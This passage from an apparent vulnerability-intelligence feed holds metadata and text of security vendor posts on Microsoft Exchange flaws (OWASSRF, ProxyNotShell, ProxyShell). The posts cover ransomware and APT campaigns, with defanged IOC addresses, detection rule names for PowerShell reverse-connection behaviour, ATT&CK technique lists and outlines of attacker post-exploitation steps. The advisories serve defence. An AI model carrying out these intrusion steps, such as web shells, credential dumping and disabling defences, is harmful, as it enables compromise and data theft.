"bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0146", "CVE-2020-1472", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-44228"], "modified": "2022-03-01T19:15:58", "id": "RAPID7BLOG:24E0BE5176F6D3963E1824AD4A55019E", "href": "https://blog.rapid7.com/2022/03/01/conti-ransomware-group-internal-chats-leaked-over-russia-ukraine-conflict/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-12-22T00:09:55", "description": "\n\n_Emergent threats evolve quickly, and as we learn more about this vulnerability, this blog post will evolve, too._\n\nBeginning December 20, 2022, Rapid7 has responded to an increase in the number of Microsoft Exchange server compromises. Further investigation aligned these attacks to what CrowdStrike is reporting as \u201c[OWASSRF](<https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/>)\u201d, a chaining of CVE-2022-41080 and CVE-2022-41082 to bypass URL rewrite mitigations that Microsoft provided for [ProxyNotShell](<https://www.rapid7.com/blog/post/2022/09/29/suspected-post-authentication-zero-day-vulnerabilities-in-microsoft-exchange-server/>) allowing for remote code execution (RCE) via privilege escalation via Outlook Web Access (OWA).\n\n**Patched servers do not appear vulnerable, servers only utilizing Microsoft\u2019s mitigations do appear vulnerable.**\n\nThreat actors are using this to deploy ransomware.\n\n**Rapid7 recommends that organizations who have yet to install the Exchange update (KB5019758) from November 2022 should do so immediately and investigate systems for indicators of compromise. Do not rely on the rewrite mitigations for protection.**\n\n## Affected Products\n\nThe following on-prem versions of Exchange that have not applied the November 8, 2022 [KB5019758](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-8-2022-kb5019758-2b3b039b-68b9-4f35-9064-6b286f495b1d>) update are vulnerable:\n\n * Microsoft Exchange Server 2013\n * Microsoft Exchange Server 2016\n * Microsoft Exchange Server 2019\n\n## IOCs\n\nIn addition to the detection rules included in InsightIDR for Rapid7 customers, other IOCs include:\n\n * PowerShell spawned by IIS ('w3wp.exe') creating outbound network connections\n * `45.76.141[.]84`\n * `45.76.143[.]143`\n\nExample command being spawned by IIS (w3wp.exe):\n\n\n\nDecoded command where the highlighted string (0x2d4c8f8f) is the hex representation of the IP address 45.76.143[.]143\n\n\n\nRapid7 has evidence of exploitation in the wild as far back as December 1, 2022.\n\n## Rapid7 Customers\n\nCustomers already have coverage to assist in assessing exposure to and detecting exploitation of this threat.\n\n### InsightVM and Nexpose\n\nInsightVM and Nexpose added checks for CVE-2022-41080 and CVE-2022-41082 on November 8, 2022.\n\n### InsightIDR\n\nInsightIDR customers can look for the alerting of the following rules, typically seeing several (or all) triggered on a single executed command:\n\n * Attacker Technique - PowerShell Registry Cradle\n * Suspicious Process - PowerShell System.Net.Sockets.TcpClient\n * Suspicious Process - Exchange Server Spawns Process\n * PowerShell - Obfuscated Script\n * Webshell - IIS Spawns PowerShell\n\nAdditional detections currently being observed with follow-on activity in these compromises include:\n\n * Attacker Technique - Plink Redirecting RDP\n * Attacker Technique - Renamed Plink\n * Suspicious Process - Started From Users Music Directory\n\n### Managed Detection & Response customers\n\nYour customer advisor will reach out to you right away if any suspicious activity is observed in your organization.\n\n_Eoin Miller contributed to this article._\n\n## Updates\n\n12/21/22 4PM ET: Updated IOC with EITW information.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-21T17:35:17", "type": "rapid7blog", "title": "CVE-2022-41080, CVE-2022-41082: Rapid7 Observed Exploitation of `OWASSRF` in Exchange for RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41080", "CVE-2022-41082"], "modified": "2022-12-21T17:35:17", "id": "RAPID7BLOG:4F13870ACE30DEDD995C2DDE4E4FF4D0", "href": "https://blog.rapid7.com/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-01-09T20:11:17", "description": "\n\n2022 began on a solemn note \u2014 many organizations across the globe were recovering from the [Log4Shell zero-day vulnerability](<https://www.rapid7.com/log4j-cve-2021-44228-resources/>). For the InsightVM and Nexpose team, 2022 began with a lot of introspection on how we can add more value and keep meeting our customer needs in the best possible ways. This means we continue to prioritize what really matters, even if it means making some hard decisions, and further improve communication with our customers.\n\nOver the course of 2022, we launched many new features and improvements \u2014 some highly anticipated, many customer-requested. Log4j was difficult but we learnt from it to be quicker and better with our emergent threat response. [Rapid7 recently refreshed our coordinated vulnerability disclosure (CVD) policy and philosophy](<https://www.rapid7.com/blog/post/2022/12/28/refreshing-rapid7s-coordinated-vulnerability-disclosure-policy/>). As we ran into more edgy kinds of vulnerabilities, we learnt that we couldn't treat them all as equal and there is a need to be more agile with our CVD approach. So we came up with six classes of vulnerabilities (and a meta-classification of \"more than one\") and some broad strokes of what we intend to accomplish with our CVD for each of them.\n\nWe reimagined many of our internal processes and teams to drive better customer outcomes. For instance, we are making a significant investment in re-architecting the InsightVM/Nexpose database to ensure VM programs scale with the customers evolving IT environment.\n\nHere\u2019s a snapshot of 2022 in InsightVM:\n\n### Key Product Improvements\n\n****Agent-based policy**** ****assessment****\n\nA robust vulnerability management program should assess IT assets for misconfigurations along with vulnerabilities. That's why we were thrilled to introduce [Agent-Based Policy in InsightVM](<https://docs.rapid7.com/insightvm/assess-with-agent-based-policies/>). Customers can now use Insight Agents to conduct configuration assessments of IT assets against widely used industry benchmarks from the Center for Internet Security (CIS) and the U.S. Defense Information Systems Agency (DISA) to help prevent breaches and ensure compliance.\n\n\n\n**Remediation Project improvements**\n\nRemediation Projects help security teams collaborate and track progress of remediation work (often assigned to their IT ops counterparts). [Here are our favorite updates](<https://www.rapid7.com/blog/post/2022/07/14/insightvm-release-update-lets-focus-on-remediation-for-just-a-minute/>):\n\n * ****Remediator Export -**** a new solution-based CSV export option, Remediator Export contains detailed information about the assets, vulnerabilities, proof data, and more for a given solution.\n * ****Better way to track project progress -**** The new metric that calculates progress for Remediation Projects will advance for each individual asset remediated within a \u201csolution\" group. This means customers no longer have to wait for all the affected assets to be remediated to see progress.\n\n\n****Scan Assistant****\n\n[Scan Assistant](<https://www.rapid7.com/globalassets/_pdfs/product-and-service-briefs/extend_vulnerability_coverage_scan_assistant.pdf>) provides an innovative alternative to traditional credentialed scanning. Instead of account-based credentials, it uses digital certificates, which increases security and simplifies administration for authenticated scans.\n\n * ****Scan Assistant is now generally available for Linux****\n * ****Automatic Scan Assistant credential generation -**** taking some more burden off the vulnerability management teams, customers can use the Shared Credentials management UI to automatically generate Scan Assistant credentials\n * ****Improved scalability -**** automated Scan Assistant software updates and digital certificate rotation for customers seeking to deploy and maintain a fleet of Scan Assistants.\n\n**Dashboards and reports**\n\nCustomers like to use dashboards to visualize the impact of a specific vulnerability or vulnerabilities to their environment, and we made quite a few updates in that area:\n\n * ****New dashboard cards based on CVSS v3 severity -**** we [expanded CVSS dashboard cards](<https://www.rapid7.com/blog/post/2022/07/28/whats-new-in-insightvm-and-nexpose-q2-2022-in-review/>) to include a version that sorts the vulnerabilities based on CVSS v3 scores (along with CVSS v2 scores).\n * ****Threat feed dashboard includes CISA's KEV catalog -**** we extended the scope of vulnerabilities tracked to [incorporate CISA's KEV catalog](<https://www.rapid7.com/blog/post/2022/04/19/whats-new-in-insightvm-and-nexpose-q1-2022-in-review/>) in the InsightVM Threat Feed Dashboard to help customers prioritize faster.\n * ****5 New Dashboard Cards -**** We launched a set of five new dashboard cards that utilize line charts to show trends in vulnerability severity and allow for easy comparison when reporting.\n * ****Distribute Reports via Email -**** Customers can now send InsightVM reports to their teammates through email.\n\n\n**Agent improvements for virtual desktops**\n\nPandemic fueled remote work and with it the use of virtual desktops. InsightVM can now identify [agent-based assets that are Citrix VDI](<https://www.rapid7.com/blog/post/2022/07/28/whats-new-in-insightvm-and-nexpose-q2-2022-in-review/>) instances and correlate them to the user, enabling more accurate asset/instance tagging. This will create a smooth, streamlined experience for organizations that deploy and scan Citrix VDIs. Expect similar improvements for VMware Horizon VDIs in 2023.\n\n**Improved support**\n\nA new, opt-in feature eliminates the need for customers to attach logs to support cases and/or send logs manually, ensuring a faster, more intuitive support process.\n\n### Notable Emergent Threat Responses and Recurring Coverages\n\nIn 2022, we added support for enterprise systems like Windows Server 2022, AlmaLinux, VMware Horizon (server and client), and more to the recurring coverage list. Learn about the systems with [recurring coverage](<https://docs.rapid7.com/insightvm/recurring-vulnerability-coverage/>).\n\nRapid7's Emergent Threat Response (ETR) program is part of an ongoing process to deliver fast, expert analysis alongside first-rate security content for the highest-priority security threats. This year we flagged a number of critical vulnerabilities. To list a few:\n\n * [Microsoft Exchange Server Server-Side Request Forgery](<https://www.rapid7.com/blog/post/2022/09/29/suspected-post-authentication-zero-day-vulnerabilities-in-microsoft-exchange-server/>) and Remote Code Execution (CVE-2022-41040 and CVE-2022-41082)\n * [OpenSSL Buffer Overflows](<https://www.rapid7.com/blog/post/2022/11/01/cve-2022-3786-and-cve-2022-3602-two-high-severity-buffer-overflows-in-openssl-fixed/>) (CVE-2022-3786 and CVE-2022-3602)\n * [Confluence Server and Data Center Unauthenticated Remote Code Execution](<https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/>) (CVE-2022-26134)\n * [Fortinet FortiOS Authentication Bypass](<https://www.rapid7.com/blog/post/2022/10/07/cve-2022-40684-remote-authentication-bypass-vulnerability-in-fortinet-firewalls-web-proxies/>) (FortiGate, FortiProxy, FortiSwitch Manager) (CVE-2022-40684)\n\nThat's not all. We added over 21,000 new checks across close to 9000 CVEs to help customers understand their risk better and thus secure better.\n\nCheck out our past blogs - [Q1](<https://www.rapid7.com/blog/post/2022/04/19/whats-new-in-insightvm-and-nexpose-q1-2022-in-review/>), [Q2](<https://www.rapid7.com/blog/post/2022/07/28/whats-new-in-insightvm-and-nexpose-q2-2022-in-review/>), and [Q3](<https://www.rapid7.com/blog/post/2022/09/28/whats-new-in-insightvm-and-nexpose-q3-2022-in-review/>) \\- to get more information on product improvements and key vulnerability coverages.\n\n### Customer Stories and Resources\n\nThe past year, we had the privilege to share stories of how our customers are using Insight VM to secure their environment. [Check out how your peers are leveraging InsightVM](<https://www.rapid7.com/customers/customer-stories/?page=1&p=InsightVM>).Here's what one customer had to say:\n\n### \u201cThat is one of the things we value most about InsightVM; it has the capacity to pinpoint actively-exploited vulnerabilities, so we can prioritize and direct our attention where it's needed most.\" - _[Daniel Hernandez, Information Security Analyst III at Pioneer Telephone Cooperative, Inc](<https://www.rapid7.com/customers/pioneer-telephone-cooperative/>)._\n\nFor customers looking to improve the utilization of the Vulnerability Management tool, check out this webcast series that covers the different phases of VM lifecycle - [Discovery](<https://academy.rapid7.com/path/insightvm-deep-dive-webcasts/insightvm-customer-webcast-vulnerability-management-lifecycle-discovery>), [Analyze](<https://academy.rapid7.com/path/insightvm-deep-dive-webcasts/vulnerability-management-lifecycle-analyze>), [Communicate](<https://academy.rapid7.com/path/insightvm-deep-dive-webcasts/vulnerability-management-lifecycle-communicate>), and [Remediate](<https://academy.rapid7.com/path/insightvm-deep-dive-webcasts/vulnerability-management-lifecycle-remediate>). Lastly, customers can always leverage [Rapid7 Academy to participate in workshops](<https://academy.rapid7.com/page/product-workshops#rapid7-product_insightvm>) and training to continue their learning journey.\n\n### Looking forward to 2023\n\nWe will maintain the customer-centricity in 2023 as we continue to deliver features and improvements in customers' best interests. We will be holding a [webinar](<https://information.rapid7.com/agent-based-policy-webinar-register.html>) on January 24 around configuration assessment in InsightVM agent-based policy. And, as always, be on the lookout for our annual vulnerability intelligence report coming soon to a Q1 near you ([here's last year's](<https://www.rapid7.com/info/2021-vulnerability-intelligence-report/>))!", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-01-09T17:00:00", "type": "rapid7blog", "title": "Year in Review: Rapid7 Vulnerability Management", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2022-26134", "CVE-2022-3602", "CVE-2022-3786", "CVE-2022-40684", "CVE-2022-41040", "CVE-2022-41082"], "modified": "2023-01-09T17:00:00", "id": "RAPID7BLOG:6F833E0DB9E152EB8397D33430FECB7F", "href": "https://blog.rapid7.com/2023/01/09/year-in-review-vulnerability-management/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "impervablog": [{"lastseen": "2022-10-13T02:05:20", "description": "On September 29, Microsoft security researchers announced two new zero-day vulnerabilities, CVE-2022-41040 and CVE-2022-41082 affecting Microsoft Exchange Server. The vulnerabilities allow remote code execution (RCE) when used in tandem. It is important to note that both require authenticated access to the desired server before exploitation. Trend Micro gave the two vulnerabilities severity ratings of 8.8 and 6.3 out of 10, respectively.\n\nAccording to researchers, CVE-2022-41082 is closely related to the [ProxyShell](<https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9>) vulnerability from 2021, CVE-2021-34473. The request string disclosed from the recent exploit is identical to that of last year\u2019s vulnerability, and the mitigation provided by Microsoft is the same as well.\n\nImperva Threat Research has observed considerable related attacker activity targeting last year\u2019s ProxyShell vulnerability (CVE-2021-34473) recently. Threat Research rules and policies may also be picking up attacks targeting the new exploits (CVE-2022-41040 and CVE-2022-41082).\n\n[GTSC](<https://www.gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html>), the company who discovered these vulnerabilities in August, believes that a Chinese threat actor may be behind the attacks observed so far. Per GTSC, the attacks include a Chinese character encoding and the China Chopper webshell for persistent remote access, which is a backdoor commonly used by likely state-sponsored Chinese hacking groups.\n\nGiven existing blocking rules that mitigate the CVE-2021-34473 proxyshell vulnerabilities, these new CVEs are mitigated out of the box by both Imperva Cloud WAF and WAF Gateway. If customers wish to implement a manual mitigation based on the advisory from Microsoft, it can be found [here](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>). Microsoft noted that the CVEs only impact on-premise Exchange servers, so Exchange Online Customers do not currently need to take any action.\n\nAs always, Imperva\u200b\u200b Threat Research continues to monitor the situation and will provide updates as new information emerges.\n\nThe post [Microsoft Exchange Server Vulnerabilities CVE-2022-41040 and CVE-2022-41082](<https://www.imperva.com/blog/microsoft-exchange-server-vulnerabilities-cve-2022-41040-and-cve-2022-41082/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-30T16:47:34", "type": "impervablog", "title": "Microsoft Exchange Server Vulnerabilities CVE-2022-41040 and CVE-2022-41082", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473", "CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-09-30T16:47:34", "id": "IMPERVABLOG:2303181B17E64D6C752ACD64C5A2B39C", "href": "https://www.imperva.com/blog/microsoft-exchange-server-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "hivepro": [{"lastseen": "2022-04-22T15:39:16", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here Hive Ransomware has been active since its discovery in June 2021, and it is constantly deploying different backdoors, including the Cobalt Strike beacon, on Microsoft Exchange servers that are vulnerable to ProxyShell (CVE-2021-31207, CVE-2021-34473 and CVE-2021-34523) security flaws. The threat actors then conduct network reconnaissance, obtain admin account credentials, and exfiltrate valuable data before deploying the file-encrypting payload. Hive and their affiliates access their victims' networks by a variety of methods, including phishing emails with malicious attachments, compromised VPN passwords, and exploiting weaknesses on external-facing assets. Furthermore, Hive leaves a plain-text ransom letter threatening to disclose the victim's data on the TOR website 'HiveLeaks' if the victim does not meet the attacker's terms. The Organizations can mitigate the risk by following the recommendations: \u2022Use multi-factor authentication. \u2022Keep all operating systems and software up to date. \u2022Remove unnecessary access to administrative shares. \u2022Maintain offline backups of data and Ensure all backup data is encrypted and immutable. \u2022Enable protected files in the Windows Operating System for critical files. The MITRE ATT&CK TTPs used by Hive Ransomware are: TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and ControlTA0010: Exfiltration TA0040: ImpactT1190: Exploit Public-Facing ApplicationT1566: PhishingT1566.001: Spear-phishing attachmentT1106: Native APIT1204: User ExecutionT1204.002: Malicious FileT1059: Command and Scripting InterpreterT1059.001: PowerShellT1059.003: Windows Command ShellT1053: Scheduled Task/JobT1053.005: Scheduled TaskT1047: Windows Management InstrumentT1136: Create AccountT1136.002: Domain AccountT1078: Valid AccountsT1078.002: Domain AccountsT1053: Boot or logon autostart executionT1068: Exploitation for Privilege EscalationT1140: Deobfuscate/Decode Files or InformationT1070: Indicator Removal on Host T1070.001: Clear Windows Event LogsT1562: Impair DefensesT1562.001: Disable or Modify ToolsT1003: OS Credential DumpingT1003.005: Cached Domain Credentials|T1018: Remote System DiscoveryT1021: Remote ServicesT1021.001: Remote Desktop ProtocolT1021.002: SMB/Windows admin sharesT1021.006: Windows Remote ManagementT1083: File and directory discoveryT1057: Process discoveryT1063: Security software discoveryT1049: System Network Connections DiscoveryT1135: Network Share DiscoveryT1071: Application Layer ProtocolT1071.001: Web ProtocolsT1570: Lateral tool transfer1486: Data Encrypted for ImpactT1005: Data from local systemT1560: Archive Collected DataT1560.001: Archive via UtilityT1105: Ingress Tool TransferT1567: Exfiltration over web service Actor Details Vulnerability Details Indicators of Compromise (IoCs) Recent Breaches https://millsgrouponline.com/ https://www.fcch.com/ https://www.konradin.de/de/ https://www.pollmann.at/en https://www.emilfrey.ch/de https://rte.com.br/ https://www.friedrich.com/ https://powerhouse1.com/ https://www.hshi.co.kr/eng/ https://www.eurocoininteractive.nl/ https://www.itsinfocom.com/ https://www.pan-energy.com/ https://nsminc.com/ https://www.ucsiuniversity.edu.my/ https://kemlu.go.id/portal/id Patch Links https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207 References https://www.varonis.com/blog/hive-ransomware-analysis https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-22T14:34:47", "type": "hivepro", "title": "Hive Ransomware targets organizations with ProxyShell exploit", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-04-22T14:34:47", "id": "HIVEPRO:F2305684A25C735549865536AA4254BF", "href": "https://www.hivepro.com/hive-ransomware-targets-organizations-with-proxyshell-exploit/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-25T05:32:31", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here APT35 aka Magic Hound, an Iranian-backed threat group, has begun using Microsoft Exchange ProxyShell vulnerabilities as an initial attack vector and to execute code through multiple web shells. The group has primarily targeted organizations in the energy, government, and technology sectors based in the United States, the United Kingdom, Saudi Arabia, and the United Arab Emirates, among other countries. The threat actor exploits the Microsoft Exchange ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) to gain initial access to create web shells and disable antivirus services on the victim\u2019s system. To gain persistence in the environment, the threat actor employs both account creation and scheduled tasks. For future re-entry, the account is added to the "remote desktop users" and "local administrator's users" groups. The threat actors use PowerShell to issue multiple commands to disable Windows Defender. Then they create a process memory dump from LSASS.exe that is zipped before exfiltration via web shell. The threat actor uses native Windows programs like "net" and "ipconfig" to enumerate the compromised server. A file masquerading as dllhost.exe is used to access certain domains for command and control. Therefore, data can be exfiltrated by the threat actor which could potentially resulting in information theft and espionage. The Microsoft Exchange ProxyShell vulnerabilities have been fixed in the latest updates from Microsoft. Organizations can patch these vulnerabilities using the patch links given below. The MITRE TTPs commonly used by APT35 are: TA0001: Initial AccessTA0002: ExecutionTA0003: PersistenceTA0004: Privilege EscalationTA0005: Defense EvasionTA0006: Credential AccessTA0007: DiscoveryTA0011: Command and ControlT1190: Exploit Public-Facing ApplicationT1003: OS Credential DumpingT1098: Account ManipulationT1078: Valid AccountsT1105: Ingress Tool TransferT1036: MasqueradingT1036.005: Masquerading: Match Legitimate Name or LocationT1543: Create or Modify System ProcessT1543.003: Create or Modify System Process: Windows ServiceT1505: Server Software ComponentT1505.003: Server Software Component: Web ShellT1082: System Information DiscoveryT1016: System Network Configuration DiscoveryT1033: System Owner/User DiscoveryT1059: Command and Scripting InterpreterT1059.003: Command and Scripting Interpreter: Windows Command Shell Actor Details Vulnerability Details Indicators of Compromise (IoCs) Patches https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 References https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-25T04:05:09", "type": "hivepro", "title": "Magic Hound Exploiting Old Microsoft Exchange ProxyShell Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-25T04:05:09", "id": "HIVEPRO:DB06BB609FE1B4E7C95CDC5CB2A38B28", "href": "https://www.hivepro.com/magic-hound-exploiting-old-microsoft-exchange-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-07T15:20:43", "description": "#### THREAT LEVEL: Red.\n\n \n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/12/BlackByte-ransomware-exploits-Microsoft-Servers-ProxyShell-vulnerabilities_TA202155.pdf>)\n\nBlackByte ransomware is targeting organizations with unpatched ProxyShell vulnerabilities. Proxy Shell was addressed by hive pro threat researcher in the previous [advisory](<https://www.hivepro.com/proxyshell-and-petitpotam-exploits-weaponized-by-lockfile-ransomware-group/>) released on August 24.\n\nProxyShell is a combination of three flaws in Microsoft Exchange:\n\nCVE-2021-34473 Pre-auth path confusion vulnerability to bypass access control. \nCVE-2021-34523 Privilege escalation vulnerability in the Exchange PowerShell backend. \nCVE-2021-31207 Post-auth remote code execution via arbitrary file write.\n\nThese security flaws are used together by threat actors to perform unauthenticated, remote code execution on vulnerable servers. After exploiting these vulnerabilities, the threat actors then install web shells, coin miners, ransomwares or backdoors on the servers. Attackers then use this web shell to deploy cobalt strike beacon into Windows Update Agent and get the credentials for a service account on compromised servers. The actor then installs Anydesk to gain control of the system and do lateral movement in the organization network. Post exploitation, attackers carry on with using Cobalt Strike to execute the Blackbyte ransomware and encrypt the data.\n\nAffected organizations can decrypt their files using a free decryption tool written by [Trustwave](<https://github.com/SpiderLabs/BlackByteDecryptor>). Users can patch their server for ProxyShell vulnerabilities using the link down below.\n\n**Techniques used by Blackbyte ransomware are :**\n\nT1505.003 Server Software Component: Web Shell \nT1055 Process Injection \nT1059.001 Command and Scripting Interpreter: PowerShell \nT1595.002 Active Scanning: Vulnerability Scanning \nT1027 Obfuscated Files of Information \nT1490 Inhibit System Recovery \nT1112 Modify Registry \nT1562.001 Impair Defenses: Disable or Modify Tools \nT1562.004 Impair Defenses: Disable or Modify System Firewall \nT1018 Remote System Discovery \nT1016 System Network Configuration Discovery \nT1070.004 Indicator Removal on Host: File Deletion \nT1560.001 Archive Collected Data: Archive via Utility\n\n[](<https://docs.google.com/viewer?url=https%3A%2F%2Fwww.hivepro.com%2Fwp-content%2Fuploads%2F2021%2F12%2FMicrosoft-could-not-patch-this-vulnerability-yet-again_TA202153.pdf&embedded=true&chrome=false&dov=1> \"View this pdf file\" )\n\n \n\n#### Vulnerability Details\n\n \n\n\n\n \n\n#### Actor Detail\n\n \n\n\n\n \n\n#### Indicators of Compromise(IoCs)\n\n \n\n\n\n \n\n#### Patch Link\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>\n\n \n\n#### References\n\n<https://redcanary.com/blog/blackbyte-ransomware/>\n\n<https://www.techtarget.com/searchsecurity/news/252510334/BlackByte-ransomware-attacks-exploiting-ProxyShell-flaws>\n\n<https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-blackbyte-ransomware/>\n\n<https://www.stellarinfo.com/blog/blackbyte-ransomware-attacks-exchange-servers-with-proxyshell-flaws/>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": 